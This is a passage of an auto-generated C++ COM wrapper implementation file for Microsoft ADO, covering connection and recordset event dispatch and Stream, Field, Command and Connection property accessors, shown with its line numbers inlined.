} 526 | 527 | inline HRESULT ConnectionEvents::RollbackTransComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 528 | HRESULT _result = 0; 529 | _com_dispatch_method(this, 0x2, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 530 | L"\x0009\x4003\x0009", pError, adStatus, pConnection); 531 | return _result; 532 | } 533 | 534 | inline HRESULT ConnectionEvents::WillExecute ( BSTR * Source, enum CursorTypeEnum * CursorType, enum LockTypeEnum * LockType, long * Options, enum EventStatusEnum * adStatus, struct _Command * pCommand, struct _Recordset * pRecordset, struct _Connection * pConnection ) { 535 | HRESULT _result = 0; 536 | _com_dispatch_method(this, 0x4, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 537 | L"\x4008\x4003\x4003\x4003\x4003\x0009\x0009\x0009", Source, CursorType, LockType, Options, adStatus, pCommand, pRecordset, pConnection); 538 | return _result; 539 | } 540 | 541 | inline HRESULT ConnectionEvents::ExecuteComplete ( long RecordsAffected, struct Error * pError, enum EventStatusEnum * adStatus, struct _Command * pCommand, struct _Recordset * pRecordset, struct _Connection * pConnection ) { 542 | HRESULT _result = 0; 543 | _com_dispatch_method(this, 0x5, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 544 | L"\x0003\x0009\x4003\x0009\x0009\x0009", RecordsAffected, pError, adStatus, pCommand, pRecordset, pConnection); 545 | return _result; 546 | } 547 | 548 | inline HRESULT ConnectionEvents::WillConnect ( BSTR * ConnectionString, BSTR * UserID, BSTR * Password, long * Options, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 549 | HRESULT _result = 0; 550 | _com_dispatch_method(this, 0x6, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 551 | L"\x4008\x4008\x4008\x4003\x4003\x0009", ConnectionString, UserID, Password, Options, adStatus, pConnection); 552 | return _result; 553 | } 554 | 555 | inline HRESULT ConnectionEvents::ConnectComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 556 | HRESULT _result = 0; 557 | _com_dispatch_method(this, 0x7, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 558 | L"\x0009\x4003\x0009", pError, adStatus, pConnection); 559 | return _result; 560 | } 561 | 562 | inline HRESULT ConnectionEvents::Disconnect ( enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 563 | HRESULT _result = 0; 564 | _com_dispatch_method(this, 0x8, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 565 | L"\x4003\x0009", adStatus, pConnection); 566 | return _result; 567 | } 568 | 569 | // 570 | // dispinterface RecordsetEvents wrapper method implementations 571 | // 572 | 573 | inline HRESULT RecordsetEvents::WillChangeField ( long cFields, const _variant_t & Fields, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 574 | HRESULT _result = 0; 575 | _com_dispatch_method(this, 0x9, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 576 | L"\x0003\x000c\x4003\x0009", cFields, &Fields, adStatus, pRecordset); 577 | return _result; 578 | } 579 | 580 | inline HRESULT RecordsetEvents::FieldChangeComplete ( long cFields, const _variant_t & Fields, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 581 | HRESULT _result = 0; 582 | _com_dispatch_method(this, 0xa, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 583 | L"\x0003\x000c\x0009\x4003\x0009", cFields, &Fields, pError, adStatus, pRecordset); 584 | return _result; 585 | } 586 | 587 | inline HRESULT RecordsetEvents::WillChangeRecord ( enum EventReasonEnum adReason, long cRecords, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 588 | HRESULT _result = 0; 589 | _com_dispatch_method(this, 0xb, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 590 | L"\x0003\x0003\x4003\x0009", adReason, cRecords, adStatus, pRecordset); 591 | return _result; 592 | } 593 | 594 | inline HRESULT RecordsetEvents::RecordChangeComplete ( enum EventReasonEnum adReason, long cRecords, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 595 | HRESULT _result = 0; 596 | _com_dispatch_method(this, 0xc, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 597 | L"\x0003\x0003\x0009\x4003\x0009", adReason, cRecords, pError, adStatus, pRecordset); 598 | return _result; 599 | } 600 | 601 | inline HRESULT RecordsetEvents::WillChangeRecordset ( enum EventReasonEnum adReason, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 602 | HRESULT _result = 0; 603 | _com_dispatch_method(this, 0xd, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 604 | L"\x0003\x4003\x0009", adReason, adStatus, pRecordset); 605 | return _result; 606 | } 607 | 608 | inline HRESULT RecordsetEvents::RecordsetChangeComplete ( enum EventReasonEnum adReason, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 609 | HRESULT _result = 0; 610 | _com_dispatch_method(this, 0xe, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 611 | L"\x0003\x0009\x4003\x0009", adReason, pError, adStatus, pRecordset); 612 | return _result; 613 | } 614 | 615 | inline HRESULT RecordsetEvents::WillMove ( enum EventReasonEnum adReason, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 616 | HRESULT _result = 0; 617 | _com_dispatch_method(this, 0xf, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 618 | L"\x0003\x4003\x0009", adReason, adStatus, pRecordset); 619 | return _result; 620 | } 621 | 622 | inline HRESULT RecordsetEvents::MoveComplete ( enum EventReasonEnum adReason, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 623 | HRESULT _result = 0; 624 | _com_dispatch_method(this, 0x10, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 625 | L"\x0003\x0009\x4003\x0009", adReason, pError, adStatus, pRecordset); 626 | return _result; 627 | } 628 | 629 | inline HRESULT RecordsetEvents::EndOfRecordset ( VARIANT_BOOL * fMoreData, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 630 | HRESULT _result = 0; 631 | _com_dispatch_method(this, 0x11, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 632 | L"\x400b\x4003\x0009", fMoreData, adStatus, pRecordset); 633 | return _result; 634 | } 635 | 636 | inline HRESULT RecordsetEvents::FetchProgress ( long Progress, long MaxProgress, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 637 | HRESULT _result = 0; 638 | _com_dispatch_method(this, 0x12, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 639 | L"\x0003\x0003\x4003\x0009", Progress, MaxProgress, adStatus, pRecordset); 640 | return _result; 641 | } 642 | 643 | inline HRESULT RecordsetEvents::FetchComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 644 | HRESULT _result = 0; 645 | _com_dispatch_method(this, 0x13, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 646 | L"\x0009\x4003\x0009", pError, adStatus, pRecordset); 647 | return _result; 648 | } 649 | 650 | // 651 | // interface ADOConnectionConstruction15 wrapper method implementations 652 | // 653 | 654 | inline IUnknownPtr ADOConnectionConstruction15::GetDSO ( ) { 655 | IUnknown * _result = 0; 656 | HRESULT _hr = get_DSO(&_result); 657 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 658 | return IUnknownPtr(_result, false); 659 | } 660 | 661 | inline IUnknownPtr ADOConnectionConstruction15::GetSession ( ) { 662 | IUnknown * _result = 0; 663 | HRESULT _hr = get_Session(&_result); 664 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 665 | return IUnknownPtr(_result, false); 666 | } 667 | 668 | inline HRESULT ADOConnectionConstruction15::WrapDSOandSession ( IUnknown * pDSO, IUnknown * pSession ) { 669 | HRESULT _hr = raw_WrapDSOandSession(pDSO, pSession); 670 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 671 | return _hr; 672 | } 673 | 674 | // 675 | // interface _Stream wrapper method implementations 676 | // 677 | 678 | inline ADO_LONGPTR _Stream::GetSize ( ) { 679 | ADO_LONGPTR _result; 680 | HRESULT _hr = get_Size(&_result); 681 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 682 | return _result; 683 | } 684 | 685 | inline VARIANT_BOOL _Stream::GetEOS ( ) { 686 | VARIANT_BOOL _result = 0; 687 | HRESULT _hr = get_EOS(&_result); 688 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 689 | return _result; 690 | } 691 | 692 | inline ADO_LONGPTR _Stream::GetPosition ( ) { 693 | ADO_LONGPTR _result; 694 | HRESULT _hr = get_Position(&_result); 695 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 696 | return _result; 697 | } 698 | 699 | inline void _Stream::PutPosition ( ADO_LONGPTR pPos ) { 700 | HRESULT _hr = put_Position(pPos); 701 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 702 | } 703 | 704 | inline enum StreamTypeEnum _Stream::GetType ( ) { 705 | enum StreamTypeEnum _result; 706 | HRESULT _hr = get_Type(&_result); 707 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 708 | return _result; 709 | } 710 | 711 | inline void _Stream::PutType ( enum StreamTypeEnum ptype ) { 712 | HRESULT _hr = put_Type(ptype); 713 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 714 | } 715 | 716 | inline enum LineSeparatorEnum _Stream::GetLineSeparator ( ) { 717 | enum LineSeparatorEnum _result; 718 | HRESULT _hr = get_LineSeparator(&_result); 719 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 720 | return _result; 721 | } 722 | 723 | inline void _Stream::PutLineSeparator ( enum LineSeparatorEnum pLS ) { 724 | HRESULT _hr = put_LineSeparator(pLS); 725 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 726 | } 727 | 728 | inline enum ObjectStateEnum _Stream::GetState ( ) { 729 | enum ObjectStateEnum _result; 730 | HRESULT _hr = get_State(&_result); 731 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 732 | return _result; 733 | } 734 | 735 | inline enum ConnectModeEnum _Stream::GetMode ( ) { 736 | enum ConnectModeEnum _result; 737 | HRESULT _hr = get_Mode(&_result); 738 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 739 | return _result; 740 | } 741 | 742 | inline void _Stream::PutMode ( enum ConnectModeEnum pMode ) { 743 | HRESULT _hr = put_Mode(pMode); 744 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 745 | } 746 | 747 | inline _bstr_t _Stream::GetCharset ( ) { 748 | BSTR _result = 0; 749 | HRESULT _hr = get_Charset(&_result); 750 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 751 | return _bstr_t(_result, false); 752 | } 753 | 754 | inline void _Stream::PutCharset ( _bstr_t pbstrCharset ) { 755 | HRESULT _hr = put_Charset(pbstrCharset); 756 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 757 | } 758 | 759 | inline _variant_t _Stream::Read ( long NumBytes ) { 760 | VARIANT _result; 761 | VariantInit(&_result); 762 | HRESULT _hr = raw_Read(NumBytes, &_result); 763 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 764 | return _variant_t(_result, false); 765 | } 766 | 767 | inline HRESULT _Stream::Open ( const _variant_t & Source, enum ConnectModeEnum Mode, enum StreamOpenOptionsEnum Options, _bstr_t UserName, _bstr_t Password ) { 768 | HRESULT _hr = raw_Open(Source, Mode, Options, UserName, Password); 769 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 770 | return _hr; 771 | } 772 | 773 | inline HRESULT _Stream::Close ( ) { 774 | HRESULT _hr = raw_Close(); 775 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 776 | return _hr; 777 | } 778 | 779 | inline HRESULT _Stream::SkipLine ( ) { 780 | HRESULT _hr = raw_SkipLine(); 781 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 782 | return _hr; 783 | } 784 | 785 | inline HRESULT _Stream::Write ( const _variant_t & Buffer ) { 786 | HRESULT _hr = raw_Write(Buffer); 787 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 788 | return _hr; 789 | } 790 | 791 | inline HRESULT _Stream::SetEOS ( ) { 792 | HRESULT _hr = raw_SetEOS(); 793 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 794 | return _hr; 795 | } 796 | 797 | inline HRESULT _Stream::CopyTo ( struct _Stream * DestStream, ADO_LONGPTR CharNumber ) { 798 | HRESULT _hr = raw_CopyTo(DestStream, CharNumber); 799 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 800 | return _hr; 801 | } 802 | 803 | inline HRESULT _Stream::Flush ( ) { 804 | HRESULT _hr = raw_Flush(); 805 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 806 | return _hr; 807 | } 808 | 809 | inline HRESULT _Stream::SaveToFile ( _bstr_t FileName, enum SaveOptionsEnum Options ) { 810 | HRESULT _hr = raw_SaveToFile(FileName, Options); 811 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 812 | return _hr; 813 | } 814 | 815 | inline HRESULT _Stream::LoadFromFile ( _bstr_t FileName ) { 816 | HRESULT _hr = raw_LoadFromFile(FileName); 817 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 818 | return _hr; 819 | } 820 | 821 | inline _bstr_t _Stream::ReadText ( long NumChars ) { 822 | BSTR _result = 0; 823 | HRESULT _hr = raw_ReadText(NumChars, &_result); 824 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 825 | return _bstr_t(_result, false); 826 | } 827 | 828 | inline HRESULT _Stream::WriteText ( _bstr_t Data, enum StreamWriteEnum Options ) { 829 | HRESULT _hr = raw_WriteText(Data, Options); 830 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 831 | return _hr; 832 | } 833 | 834 | inline HRESULT _Stream::Cancel ( ) { 835 | HRESULT _hr = raw_Cancel(); 836 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 837 | return _hr; 838 | } 839 | 840 | // 841 | // interface ADORecordConstruction wrapper method implementations 842 | // 843 | 844 | inline IUnknownPtr ADORecordConstruction::GetRow ( ) { 845 | IUnknown * _result = 0; 846 | HRESULT _hr = get_Row(&_result); 847 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 848 | return IUnknownPtr(_result, false); 849 | } 850 | 851 | inline void ADORecordConstruction::PutRow ( IUnknown * ppRow ) { 852 | HRESULT _hr = put_Row(ppRow); 853 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 854 | } 855 | 856 | inline void ADORecordConstruction::PutParentRow ( IUnknown * _arg1 ) { 857 | HRESULT _hr = put_ParentRow(_arg1); 858 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 859 | } 860 | 861 | // 862 | // interface ADOStreamConstruction wrapper method implementations 863 | // 864 | 865 | inline IUnknownPtr ADOStreamConstruction::GetStream ( ) { 866 | IUnknown * _result = 0; 867 | HRESULT _hr = get_Stream(&_result); 868 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 869 | return IUnknownPtr(_result, false); 870 | } 871 | 872 | inline void ADOStreamConstruction::PutStream ( IUnknown * ppStm ) { 873 | HRESULT _hr = put_Stream(ppStm); 874 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 875 | } 876 | 877 | // 878 | // interface ADOCommandConstruction wrapper method implementations 879 | // 880 | 881 | inline IUnknownPtr ADOCommandConstruction::GetOLEDBCommand ( ) { 882 | IUnknown * _result = 0; 883 | HRESULT _hr = get_OLEDBCommand(&_result); 884 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 885 | return IUnknownPtr(_result, false); 886 | } 887 | 888 | inline void ADOCommandConstruction::PutOLEDBCommand ( IUnknown * ppOLEDBCommand ) { 889 | HRESULT _hr = put_OLEDBCommand(ppOLEDBCommand); 890 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 891 | } 892 | 893 | // 894 | // interface ADORecordsetConstruction wrapper method implementations 895 | // 896 | 897 | inline IUnknownPtr ADORecordsetConstruction::GetRowset ( ) { 898 | IUnknown * _result = 0; 899 | HRESULT _hr = get_Rowset(&_result); 900 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 901 | return IUnknownPtr(_result, false); 902 | } 903 | 904 | inline void ADORecordsetConstruction::PutRowset ( IUnknown * ppRowset ) { 905 | HRESULT _hr = put_Rowset(ppRowset); 906 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 907 | } 908 | 909 | inline ADO_LONGPTR ADORecordsetConstruction::GetChapter ( ) { 910 | ADO_LONGPTR _result; 911 | HRESULT _hr = get_Chapter(&_result); 912 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 913 | return _result; 914 | } 915 | 916 | inline void ADORecordsetConstruction::PutChapter ( ADO_LONGPTR plChapter ) { 917 | HRESULT _hr = put_Chapter(plChapter); 918 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 919 | } 920 | 921 | inline IUnknownPtr ADORecordsetConstruction::GetRowPosition ( ) { 922 | IUnknown * _result = 0; 923 | HRESULT _hr = get_RowPosition(&_result); 924 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 925 | return IUnknownPtr(_result, false); 926 | } 927 | 928 | inline void ADORecordsetConstruction::PutRowPosition ( IUnknown * ppRowPos ) { 929 | HRESULT _hr = put_RowPosition(ppRowPos); 930 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 931 | } 932 | 933 | // 934 | // interface Field15 wrapper method implementations 935 | // 936 | 937 | inline ADO_LONGPTR Field15::GetActualSize ( ) { 938 | ADO_LONGPTR _result; 939 | HRESULT _hr = get_ActualSize(&_result); 940 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 941 | return _result; 942 | } 943 | 944 | inline long Field15::GetAttributes ( ) { 945 | long _result = 0; 946 | HRESULT _hr = get_Attributes(&_result); 947 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 948 | return _result; 949 | } 950 | 951 | inline ADO_LONGPTR Field15::GetDefinedSize ( ) { 952 | ADO_LONGPTR _result; 953 | HRESULT _hr = get_DefinedSize(&_result); 954 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 955 | return _result; 956 | } 957 | 958 | inline _bstr_t Field15::GetName ( ) { 959 | BSTR _result = 0; 960 | HRESULT _hr = get_Name(&_result); 961 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 962 | return _bstr_t(_result, false); 963 | } 964 | 965 | inline enum DataTypeEnum Field15::GetType ( ) { 966 | enum DataTypeEnum _result; 967 | HRESULT _hr = get_Type(&_result); 968 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 969 | return _result; 970 | } 971 | 972 | inline _variant_t Field15::GetValue ( ) { 973 | VARIANT _result; 974 | VariantInit(&_result); 975 | HRESULT _hr = get_Value(&_result); 976 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 977 | return _variant_t(_result, false); 978 | } 979 | 980 | inline void Field15::PutValue ( const _variant_t & pvar ) { 981 | HRESULT _hr = put_Value(pvar); 982 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 983 | } 984 | 985 | inline unsigned char Field15::GetPrecision ( ) { 986 | unsigned char _result = 0; 987 | HRESULT _hr = get_Precision(&_result); 988 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 989 | return _result; 990 | } 991 | 992 | inline unsigned char Field15::GetNumericScale ( ) { 993 | unsigned char _result = 0; 994 | HRESULT _hr = get_NumericScale(&_result); 995 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 996 | return _result; 997 | } 998 | 999 | inline HRESULT Field15::AppendChunk ( const _variant_t & Data ) { 1000 | HRESULT _hr = raw_AppendChunk(Data); 1001 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1002 | return _hr; 1003 | } 1004 | 1005 | inline _variant_t Field15::GetChunk ( long Length ) { 1006 | VARIANT _result; 1007 | VariantInit(&_result); 1008 | HRESULT _hr = raw_GetChunk(Length, &_result); 1009 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1010 | return _variant_t(_result, false); 1011 | } 1012 | 1013 | inline _variant_t Field15::GetOriginalValue ( ) { 1014 | VARIANT _result; 1015 | VariantInit(&_result); 1016 | HRESULT _hr = get_OriginalValue(&_result); 1017 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1018 | return _variant_t(_result, false); 1019 | } 1020 | 1021 | inline _variant_t Field15::GetUnderlyingValue ( ) { 1022 | VARIANT _result; 1023 | VariantInit(&_result); 1024 | HRESULT _hr = get_UnderlyingValue(&_result); 1025 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1026 | return _variant_t(_result, false); 1027 | } 1028 | 1029 | // 1030 | // interface Command15 wrapper method implementations 1031 | // 1032 | 1033 | inline _ConnectionPtr Command15::GetActiveConnection ( ) { 1034 | struct _Connection * _result = 0; 1035 | HRESULT _hr = get_ActiveConnection(&_result); 1036 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1037 | return _ConnectionPtr(_result, false); 1038 | } 1039 | 1040 | inline void Command15::PutRefActiveConnection ( struct _Connection * ppvObject ) { 1041 | HRESULT _hr = putref_ActiveConnection(ppvObject); 1042 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1043 | } 1044 | 1045 | inline void Command15::PutActiveConnection ( const _variant_t & ppvObject ) { 1046 | HRESULT _hr = put_ActiveConnection(ppvObject); 1047 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1048 | } 1049 | 1050 | inline _bstr_t Command15::GetCommandText ( ) { 1051 | BSTR _result = 0; 1052 | HRESULT _hr = get_CommandText(&_result); 1053 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1054 | return _bstr_t(_result, false); 1055 | } 1056 | 1057 | inline void Command15::PutCommandText ( _bstr_t pbstr ) { 1058 | HRESULT _hr = put_CommandText(pbstr); 1059 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1060 | } 1061 | 1062 | inline long Command15::GetCommandTimeout ( ) { 1063 | long _result = 0; 1064 | HRESULT _hr = get_CommandTimeout(&_result); 1065 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1066 | return _result; 1067 | } 1068 | 1069 | inline void Command15::PutCommandTimeout ( long pl ) { 1070 | HRESULT _hr = put_CommandTimeout(pl); 1071 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1072 | } 1073 | 1074 | inline VARIANT_BOOL Command15::GetPrepared ( ) { 1075 | VARIANT_BOOL _result = 0; 1076 | HRESULT _hr = get_Prepared(&_result); 1077 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1078 | return _result; 1079 | } 1080 | 1081 | inline void Command15::PutPrepared ( VARIANT_BOOL pfPrepared ) { 1082 | HRESULT _hr = put_Prepared(pfPrepared); 1083 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1084 | } 1085 | 1086 | inline _RecordsetPtr Command15::Execute ( VARIANT * RecordsAffected, VARIANT * Parameters, long Options ) { 1087 | struct _Recordset * _result = 0; 1088 | HRESULT _hr = raw_Execute(RecordsAffected, Parameters, Options, &_result); 1089 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1090 | return _RecordsetPtr(_result, false); 1091 | } 1092 | 1093 | inline _ParameterPtr Command15::CreateParameter ( _bstr_t Name, enum DataTypeEnum Type, enum ParameterDirectionEnum Direction, ADO_LONGPTR Size, const _variant_t & Value ) { 1094 | struct _Parameter * _result = 0; 1095 | HRESULT _hr = raw_CreateParameter(Name, Type, Direction, Size, Value, &_result); 1096 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1097 | return _ParameterPtr(_result, false); 1098 | } 1099 | 1100 | inline ParametersPtr Command15::GetParameters ( ) { 1101 | struct Parameters * _result = 0; 1102 | HRESULT _hr = get_Parameters(&_result); 1103 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1104 | return ParametersPtr(_result, false); 1105 | } 1106 | 1107 | inline void Command15::PutCommandType ( enum CommandTypeEnum plCmdType ) { 1108 | HRESULT _hr = put_CommandType(plCmdType); 1109 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1110 | } 1111 | 1112 | inline enum CommandTypeEnum Command15::GetCommandType ( ) { 1113 | enum CommandTypeEnum _result; 1114 | HRESULT _hr = get_CommandType(&_result); 1115 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1116 | return _result; 1117 | } 1118 | 1119 | inline _bstr_t Command15::GetName ( ) { 1120 | BSTR _result = 0; 1121 | HRESULT _hr = get_Name(&_result); 1122 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1123 | return _bstr_t(_result, false); 1124 | } 1125 | 1126 | inline void Command15::PutName ( _bstr_t pbstrName ) { 1127 | HRESULT _hr = put_Name(pbstrName); 1128 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1129 | } 1130 | 1131 | // 1132 | // interface Command25 wrapper method implementations 1133 | // 1134 | 1135 | inline long Command25::GetState ( ) { 1136 | long _result = 0; 1137 | HRESULT _hr = get_State(&_result); 1138 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1139 | return _result; 1140 | } 1141 | 1142 | inline HRESULT Command25::Cancel ( ) { 1143 | HRESULT _hr = raw_Cancel(); 1144 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1145 | return _hr; 1146 | } 1147 | 1148 | // 1149 | // interface _Command wrapper method implementations 1150 | // 1151 | 1152 | inline void _Command::PutRefCommandStream ( IUnknown * pvStream ) { 1153 | HRESULT _hr = putref_CommandStream(pvStream); 1154 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1155 | } 1156 | 1157 | inline _variant_t _Command::GetCommandStream ( ) { 1158 | VARIANT _result; 1159 | VariantInit(&_result); 1160 | HRESULT _hr = get_CommandStream(&_result); 1161 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1162 | return _variant_t(_result, false); 1163 | } 1164 | 1165 | inline void _Command::PutDialect ( _bstr_t pbstrDialect ) { 1166 | HRESULT _hr = put_Dialect(pbstrDialect); 1167 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1168 | } 1169 | 1170 | inline _bstr_t _Command::GetDialect ( ) { 1171 | BSTR _result = 0; 1172 | HRESULT _hr = get_Dialect(&_result); 1173 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1174 | return _bstr_t(_result, false); 1175 | } 1176 | 1177 | inline void _Command::PutNamedParameters ( VARIANT_BOOL pfNamedParameters ) { 1178 | HRESULT _hr = put_NamedParameters(pfNamedParameters); 1179 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1180 | } 1181 | 1182 | inline VARIANT_BOOL _Command::GetNamedParameters ( ) { 1183 | VARIANT_BOOL _result = 0; 1184 | HRESULT _hr = get_NamedParameters(&_result); 1185 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1186 | return _result; 1187 | } 1188 | 1189 | // 1190 | // interface Connection15 wrapper method implementations 1191 | // 1192 | 1193 | inline _bstr_t Connection15::GetConnectionString ( ) { 1194 | BSTR _result = 0; 1195 | HRESULT _hr = get_ConnectionString(&_result); 1196 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1197 | return _bstr_t(_result, false); 1198 | } 1199 | 1200 | inline void Connection15::PutConnectionString ( _bstr_t pbstr ) { 1201 | HRESULT _hr = put_ConnectionString(pbstr); 1202 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1203 | } 1204 | 1205 | inline long Connection15::GetCommandTimeout ( ) { 1206 | long _result = 0; 1207 | HRESULT _hr = get_CommandTimeout(&_result); 1208 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1209 | return _result; 1210 | } 1211 | 1212 | inline void Connection15::PutCommandTimeout ( long plTimeout ) { 1213 | HRESULT _hr = put_CommandTimeout(plTimeout); 1214 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1215 | } 1216 | 1217 | inline long Connection15::GetConnectionTimeout ( ) { 1218 | long _result = 0; 1219 | HRESULT _hr = get_ConnectionTimeout(&_result); 1220 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1221 | return _result; 1222 | } 1223 | 1224 | inline void Connection15::PutConnectionTimeout ( long plTimeout ) { 1225 | HRESULT _hr = put_ConnectionTimeout(plTimeout); 1226 | if (FAILED(_hr)) 